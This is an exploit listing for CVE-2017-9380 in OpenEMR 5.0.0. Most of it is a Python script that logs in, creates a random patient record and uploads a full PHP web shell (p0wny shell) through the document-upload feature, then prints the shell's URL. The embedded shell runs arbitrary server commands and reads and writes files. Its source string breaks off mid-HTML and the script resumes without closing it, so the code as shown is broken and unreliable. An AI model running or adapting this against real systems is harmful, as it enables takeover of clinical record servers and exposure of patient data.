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OpenEMR 5.0.0 Remote Shell Upload

OpenEMR 5.0.0 Remote Shell Upload
Posted Jun 11, 2021
Authored by Ron Jost

OpenEMR version 5.0.0 authenticated remote shell upload exploit.

tags | exploit, remote, shell
advisories | CVE-2017-9380
MD5 | 12e2029d683e77944af7d9e8015af08d

OpenEMR 5.0.0 Remote Shell Upload

Change Mirror Download
# Exploit Title: OpenEMR 5.0.0 - Remote Code Execution (Authenticated)
# Date 10.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/5.0.0/openemr-5.0.0.zip/download
# Version: 5.0.0
# Tested on: Windows 10
# CVE: CVE-2017-9380
# Documentation: https://github.com/Hacker5preme/Exploits#cve-2017-9380-exploit

'''
Description:
The OpenEMR application allows users from all roles to upload files. However, the application does not whitelist only
certain type of files (e.g. PDF, JPG, PNG, DOCX, etc). At the contary, any type of files can be uploaded to the
filesystem via the application. While OpenEMR recommends during the installation to restrict access to the repository
hosting uploaded files, unfortunately, such recommendations are too often ignored by users and can result in full
compromise of the web server and its data.
'''


'''
Import required modules:
'''
import argparse
import requests
import string
import random


'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Exploit for CVE-2017-9380')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
openemr_path = args.PATH
username = args.USERNAME
password = args.PASSWORD


'''
Exploit:
'''
# Authentication preparation:
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&site=default'
auth_chek_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/login/login.php?site=default'
response = session.get(auth_chek_url)

# Header (auth):
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Referer': auth_chek_url,
'Upgrade-Insecure-Requests': '1',
}

# Body (auth):
body = {
'new_login_session_management': '1',
'authProvider': 'Default',
'authUser': username,
'clearPass': password,
'languageChoice': '1'
}

# Authenticate:
print('')
print('[+] Authentication')
auth = session.post(auth_url,headers=header, data=body)

# Create random patient name:
letters_up = string.ascii_uppercase
letters_down = string.ascii_lowercase
first_name = ''.join(random.choice(letters_up)) + ''.join(random.choice(letters_down) for i in range(10))
surname = ''.join(random.choice(letters_up)) + ''.join(random.choice(letters_down) for i in range(7))
print('')
print('[+] Creating patient name randomly:')
print(' [*] First Name: ' + first_name)
print(' [*] Surname: ' + surname)

# Registration preparation:
url_reg = 'http://' + target_ip + ':' + target_port + openemr_path + 'interface/new/new_comprehensive_save.php'

# Header (registration):
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Referer': 'http://' + target_ip + ':' + target_port + openemr_path + 'interface/new/new.php',
'Upgrade-Insecure-Requests': '1'
}
body = {
'form_cb_1': '1',
'form_title': 'Mr.',
'form_fname': first_name,
'form_mname': '',
'form_lname': surname,
'form_pubpid': '',
'form_DOB': '2021-05-04',
'form_sex': 'Male',
'form_ss': '',
'form_drivers_license': '',
'form_status': '',
'form_genericname1': '',
'form_genericval1': '',
'form_genericname2': '',
'form_genericval2': '',
'form_billing_note': '',
'form_street': '',
'form_city': '',
'form_state': '',
'form_postal_code': '',
'form_county': '',
'form_country_code': '',
'form_mothersname': '',
'form_contact_relationship': '',
'form_phone_contact': '',
'form_phone_home': '',
'form_phone_biz': '',
'form_phone_cell': '',
'form_email': '',
'form_email_direct': '',
'form_providerID': '',
'form_ref_providerID': '',
'form_pharmacy_id': '0',
'form_hipaa_notice': '',
'form_hipaa_voice': '',
'form_hipaa_message': '',
'form_hipaa_mail': '',
'form_hipaa_allowsms': '',
'form_hipaa_allowemail': '',
'form_allow_imm_reg_use': '',
'form_allow_imm_info_share': '',
'form_allow_health_info_ex': '',
'form_allow_patient_portal': '',
'form_care_team': '',
'form_cmsportal_login': '',
'form_imm_reg_status': '',
'form_imm_reg_stat_effdate': '',
'form_publicity_code': '',
'form_publ_code_eff_date': '',
'form_protect_indicator': '',
'form_prot_indi_effdate': '',
'form_industry': '',
'form_occupation': '',
'form_em_name': '',
'form_em_street': '',
'form_em_city': '',
'form_em_state': '',
'form_em_postal_code': '',
'form_em_country': '',
'form_language': '',
'form_ethnicity': '',
'form_family_size': '',
'form_financial_review': '',
'form_monthly_income': '',
'form_homeless': '',
'form_interpretter': '',
'form_migrantseasonal': '',
'form_referral_source': '',
'form_vfc': '',
'form_religion': '',
'form_deceased_date': '',
'form_deceased_reason': '',
'form_guardiansname': '',
'form_guardianrelationship': '',
'form_guardiansex': '',
'form_guardianaddress': '',
'form_guardiancity': '',
'form_guardianstate': '',
'form_guardianpostalcode': '',
'form_guardiancountry': '',
'form_guardianphone': '',
'form_guardianworkphone': '',
'form_guardianemail': '',
'i1provider': '',
'i1plan_name': '',
'i1effective_date': '',
'i1policy_number': '',
'i1group_number': '',
'i1subscriber_employer': '',
'i1subscriber_employer_street': '',
'i1subscriber_employer_city': '',
'form_i1subscriber_employer_state': '',
'i1subscriber_employer_postal_code': '',
'form_i1subscriber_employer_country': '',
'i1subscriber_fname': '',
'i1subscriber_mname': '',
'i1subscriber_lname': '',
'form_i1subscriber_relationship': '',
'i1subscriber_DOB': '',
'i1subscriber_ss': '',
'form_i1subscriber_sex': '',
'i1subscriber_street': '',
'i1subscriber_city': '',
'form_i1subscriber_state': '',
'i1subscriber_postal_code': '',
'form_i1subscriber_country': '',
'i1subscriber_phone': '',
'i1copay': '',
'i1accept_assignment': 'TRUE',
'i2provider': '',
'i2plan_name': '',
'i2effective_date': '',
'i2policy_number': '',
'i2group_number': '',
'i2subscriber_employer': '',
'i2subscriber_employer_street': '',
'i2subscriber_employer_city': '',
'form_i2subscriber_employer_state': '',
'i2subscriber_employer_postal_code': '',
'form_i2subscriber_employer_country': '',
'i2subscriber_fname': '',
'i2subscriber_mname': '',
'i2subscriber_lname': '',
'form_i2subscriber_relationship': '',
'i2subscriber_DOB': '',
'i2subscriber_ss': '',
'form_i2subscriber_sex': '',
'i2subscriber_street': '',
'i2subscriber_city': '',
'form_i2subscriber_state': '',
'i2subscriber_postal_code': '',
'form_i2subscriber_country': '',
'i2subscriber_phone': '',
'i2copay': '',
'i2accept_assignment': 'TRUE',
'i3provider': '',
'i3plan_name': '',
'i3effective_date': '',
'i3policy_number': '',
'i3group_number': '',
'i3subscriber_employer': '',
'i3subscriber_employer_street': '',
'i3subscriber_employer_city': '',
'form_i3subscriber_employer_state': '',
'i3subscriber_employer_postal_code': '',
'form_i3subscriber_employer_country': '',
'i3subscriber_fname': '',
'i3subscriber_mname': '',
'i3subscriber_lname': '',
'form_i3subscriber_relationship': '',
'i3subscriber_DOB': '',
'i3subscriber_ss': '',
'form_i3subscriber_sex': '',
'i3subscriber_street': '',
'i3subscriber_city': '',
'form_i3subscriber_state': '',
'i3subscriber_postal_code': '',
'form_i3subscriber_country': '',
'i3subscriber_phone': '',
'i3copay': '',
'i3accept_assignment': 'TRUE'}

print('')
print('[+] Registering patient:')
x = session.post(url_reg, headers=header, data=body).text

# Get Patient-ID:
id = x[(x.find('pid=')+4):x.find('&')]
print(' [*] ID-NUMBER: ' + id)

# Construct upload URL:
url_upload = 'http://' + target_ip + ':' + target_port + openemr_path + '/controller.php?document&upload&patient_id=' + id + '&parent_id=1&"'

# Header (upload):
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=---------------------------370797319835249590062969815666",
"Origin": 'http://' + target_ip,
"Connection": "close",
"Referer": url_upload,
"Upgrade-Insecure-Requests": "1"
}

# Body (shell); I'm using p0wny shell: https://github.com/flozz/p0wny-shell
body = "-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n64000000\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"file[]\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n background: #222;\n max-width: 800px;\n margin: 50px

# Exploit
x = session.post(url_upload, headers=header,data=body).text
print('')
print('[+] Uploading your Webshell')
b = x[x.find('documents/') + 10:]
c = b[:b.find('<')]
webshellpath = 'http://' + target_ip + ':' + target_port + openemr_path + '/sites/default/documents/' + c
print(' [*] Webshell: ' + webshellpath)
print('')

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